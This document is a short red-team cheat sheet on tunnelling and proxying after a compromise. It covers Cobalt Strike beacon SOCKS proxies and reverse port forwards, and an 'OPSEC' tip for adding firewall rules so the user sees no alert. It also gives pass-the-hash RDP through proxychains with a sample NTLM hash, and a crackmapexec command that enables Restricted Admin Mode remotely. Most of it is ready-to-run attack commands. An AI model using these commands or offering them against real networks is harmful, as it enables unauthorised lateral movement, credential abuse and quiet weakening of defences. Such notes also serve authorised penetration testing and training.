Relaying / Proxying / Tunneling Technics

Tunneling

Socks proxies (CS)

--> Cobalt Strike has both a SOCKS4a and SOCKS5 proxy.

Socks4

beacon> socks 1080

Socks5

beacon> socks 1080 socks5 disableNoAuth socks_user socks_password enableLogging

Reverse Port Forward (CS)

Reverse Port Forwarding allows a machine to redirect inbound traffic on a specific port to another IP and port. A useful implementation of this allows machines to bypass firewall and other network segmentation restrictions.

This will bind port 8080 on Workstation 2.

beacon> rportfwd 8080 127.0.0.1 80
beacon> run netstat -anp tcp
TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING

Traffic which will hit this port will be tunnelled to CS team server using the C2 channel.

OPSEC: When the Windows firewall is enabled, it will prompt the user with an alert when an application attempts to listen on a port that is not explicitly allowed. Allowing access requires local admin privileges and clicking cancel will create an explicit block rule.

You must therefore create an allow rule before running a reverse port forward using either netsh or New-NetFirewallRule, as adding and removing rules does not create a visible alert.

beacon> powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080
beacon> powershell Remove-NetFirewallRule -DisplayName "8080-In"

Proxying

RDP protocol

Proxy RDP protocol using xfreerdp

proxychains xfreerdp /v:192.168.0.10 /u:jdoe /p:Pass123 /d:corp.company.local /dynamic-resolution +clipboard

Proxy RDP protocol using xfreerdp and use NTLM hash to authenticate (PTH RDP)

  • System need to have Restricted Admin Mode enabled.
  • If not enable you will get an error : “Account Restrictions are preventing this user from signing in.”
  • Restricted Admin Mode is disabled by default.
proxychains xfreerdp /v:192.168.0.10 /u:Administrator /pth:8846F7EAEE8FB117AD06BDD830B7586C

Enable Restricted Admin Mode (need admin priv)

crackmapexec smb 192.168.0.10 -u Administrator -H 8846F7EAEE8FB117AD06BDD830B7586C -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
